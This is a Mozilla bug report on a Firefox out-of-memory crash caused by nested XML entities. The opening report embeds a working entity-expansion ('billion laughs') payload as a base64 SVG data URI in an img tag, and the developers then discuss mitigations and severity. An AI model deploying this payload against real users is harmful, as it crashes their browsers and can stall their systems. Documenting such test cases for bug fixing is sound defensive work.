Open
Bug 1192544
Opened 9 years ago
Updated 2 years ago
Nested XML <!ENTITY> definitions in XML/SVG attributes can cause crash due to OOM
Categories
(Core :: DOM: HTML Parser, defect)
Core
DOM: HTML Parser
Tracking
()
NEW
People
(Reporter: filippogasbarro, Unassigned)
References
(Depends on 1 open bug, Blocks 1 open bug)
Details
(4 keywords)
Attachments
(4 files)
Firefox in the task manager with only one tab opened with this exploit in Ubuntu
User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.130 Safari/537.36
Steps to reproduce:
I create a simple html page which contains the bugged "data:image" URI in <img> tag.
Obviously it can be added to any web page, and the result is the same.
<html>
<head>
<meta charset="utf-8" />
<title>Your browser just crashed</title>
</head>
<body>
<img alt="exploit" src="data:image/svg+xml;base64,PD94bWwgdmVyc2lvbj0iMS4wIiBzdGFuZGFsb25lPSJubyI/Pgo8IURPQ1RZUEUgc3ZnIFsKPCFFTlRJVFkgYm9tYjAgImJvbWIiPgo8IUVOVElUWSBib21iMSAiJmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsmYm9tYjA7JmJvbWIwOyZib21iMDsiPgo8IUVOVElUWSBib21iMiAiJmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsmYm9tYjE7JmJvbWIxOyZib21iMTsiPgo8IUVOVElUWSBib21iMyAiJmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsmYm9tYjI7JmJvbWIyOyZib21iMjsiPgo8IUVOVElUWSBib21iNCAiJmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsmYm9tYjM7JmJvbWIzOyZib21iMzsiPgo8IUVOVElUWSBib21iNSAiJmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsmYm9tYjQ7JmJvbWI0OyZib21iNDsiPgo8IUVOVElUWSBib21iNiAiJmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsmYm9tYjU7JmJvbWI1OyZib21iNTsiPgo8IUVOVElUWSBib21iNyAiJmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsmYm9tYjY7JmJvbWI2OyZib21iNjsiPgo8IUVOVElUWSBib21iOCAiJmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsmYm9tYjc7JmJvbWI3OyZib21iNzsiPgo8IUVOVElUWSBib21iOSAiJmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsmYm9tYjg7JmJvbWI4OyZib21iODsiPgo8IUVOVElUWSBib21iMTAgIiZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7JmJvbWI5OyZib21iOTsmYm9tYjk7Ij4KXT4KPHN2ZyB3aWR0aD0iODg4Y20iIGhlaWdodD0iNzMzY20iIHZpZXdCb3g9IjAgMCAxNTYgNzU3IiB2ZXJzaW9uPSIxLjEiCnhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgeG1sbnM6eGxpbms9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGxpbmsiPgo8ZGVzYz5Ob25lPC9kZXNjPgo8dGV4dCB4PSI5NDIiIHk9IjYxOCIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI1OTMiIHk9IjMzOSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIyMjUiIHk9IjY3MyIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI3NDkiIHk9IjIxMCIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIyMDQiIHk9Ijk3OSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSIxOTUiIHk9IjI0MyIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI5NTAiIHk9IjEyOSIgZD0iJmJvbWIxMDsiPgo8dGV4dCB4PSI0MTgiIHk9IjM2IiBkPSImYm9tYjEwOyI+Cjx0ZXh0IHg9Ijk1NSIgeT0iMjMiIGQ9IiZib21iMTA7Ij4KPHRleHQgeD0iODQ3IiB5PSI2ODgiIGQ9IiZib21iMTA7Ij4KPC90ZXh0Pgo8L3N2Zz4K"></img>
</body>
</html>
Actual results:
The web browser and the system could to crash if you have a little RAM memory because the browser write in RAM a lot of data and generate a lot of I/O with the HDD/SSD. This exploit could be very dangerous also for who has a lot of RAM if it is exploited well; for example with the automatic opening of other tab or pop-up with this html code.
This exploit is more dangerous in GNU/linux because write in RAM about 2 GB of data instead on Windows about 400 MB.
Expected results:
The web browser could ignore this content inside the <img> html tag to prevent the crash of the web browser or the system
|
Reporter | |
Updated•9 years ago
|
|
||
Comment 1•9 years ago
|
||
This is just a memory bomb, not exploitable except to annoy someone.
Daniel: is there any reasonably limits we could put on SVG to give up before we get to this point? or is it safer to just let the memory allocator fail-safe death happen?
Group: core-security
Status: UNCONFIRMED → NEW
Component: Security → SVG
Ever confirmed: true
Flags: needinfo?(dholbert)
Keywords: csectype-dos,
testcase
Product: Firefox → Core
|
||
Comment 2•9 years ago
|
||
|
||
Comment 3•9 years ago
|
||
(In reply to Daniel Veditz [:dveditz] from comment #1)
> This is just a memory bomb, not exploitable except to annoy someone.
>
> Daniel: is there any reasonably limits we could put on SVG to give up before
> we get to this point? or is it safer to just let the memory allocator
> fail-safe death happen?
So, there's no point in having any SVG-specific limits here, because there's nothing SVG-specific about this. The testcase is basically just a series of elements with extremely long attribute-values (using XML entities as a trick to get extremely long values without needing much markup). You can do the exact same thing with XHTML. [Testcase coming up.]
To the extent that we want to avoid this with limits, we'd need to place a limit on the length of an attribute-value, and/or a limit on the length of the document.
I can imagine semi-legitimate content running up against those limits, though -- e.g. suppose a site stores an uploaded file as a base64 data URI in an attribute somewhere, and a user uploads a largeish file. We could avoid breaking those edge cases by making the limit arbitrarily huge, but that prevents us from getting any wins here, too. So, I don't know that there's much we can do here.
Reclassifying as an HTML Parser bug, since we're OOM'ing in parser code. Here's a crash report that I generated from original testcase (quoted in comment 0), to demonstrate that:
bp-1adb3951-2b22-43f9-9a80-a9a972150811
Component: SVG → HTML: Parser
Flags: needinfo?(dholbert)
Version: unspecified → Trunk
|
|
||
Comment 4•9 years ago
|
||
|
|
||
Comment 5•9 years ago
|
||
|
|
||
Comment 6•9 years ago
|
||
One other solution here might be to avoid expanding XML entities (or nested XML entities) beyond a certain length. That would make it harder for attackers to construct such a small testcase that triggers an OOM via this route.
I think this might be what Chrome does -- they immediately bails on rendering either testcase, and report an XML error for an "entity reference loop". Though there's not actually a "loop" -- they seem to report this error for any nested <!ENTITY> expansion that surpasses a certain length.
|
|
||
Comment 7•9 years ago
|
||
This is basically the same issue as bug 616361, I think.
The crash is a different place -- in bug 616361, it looks like we crash in layout, when we try to deal with a huge amount of text (based on bug 616361 comment 1). In this bug here, we crash in parsing, due to huge attribute-values. But the underlying cause is the same - nested ENTITY values being huge.
Depends on: 616361
Summary: An <img> html tag could crash the web browser and the system → Nested XML <!ENTITY> definitions can cause crash/hang due to OOM
|
|
||
Updated•9 years ago
|
Summary: Nested XML <!ENTITY> definitions can cause crash/hang due to OOM → Nested XML <!ENTITY> definitions in XML/SVG attributes can cause crash due to OOM
|
||
Comment 10•3 years ago
|
||
Hi
The steps on this bug mention that in order to reproduce this bug a very slow old pc is needed with less than 2gb of ram, but i don´t have any machine that uses just 2gb of ram. Do you know if this issue can be resolved? the reporter has a deactivated account.
regards.
Flags: needinfo?(htsai)
|
||
Comment 11•3 years ago
|
||
(In reply to Pablo from comment #10)
Hi
The steps on this bug mention that in order to reproduce this bug a very slow old pc is needed with less than 2gb of ram, but i don´t have any machine that uses just 2gb of ram. Do you know if this issue can be resolved? the reporter has a deactivated account.
regards.
This is still reproducible when you open the test case attached in comment 6.
Flags: needinfo?(htsai)
|
||
Updated•2 years ago
|
Severity: major → S2
|
||
Comment 12•2 years ago
|
||
I can't actually reproduce the crash. I probably just have too much RAM. But even so, I don't think this is a major issue. It's just one of the many ways to produce an OOM. It would be nice to handle it better, but I don't think it's likely to come up in the real world by accident very often, if at all, and the only result is a content process crash (and possibly a slow system due to thrashing). But that's pretty easy to produce in any number of other ways too.
Severity: S2 → S3
You need to log in
before you can comment on or make changes to this bug.
Description
•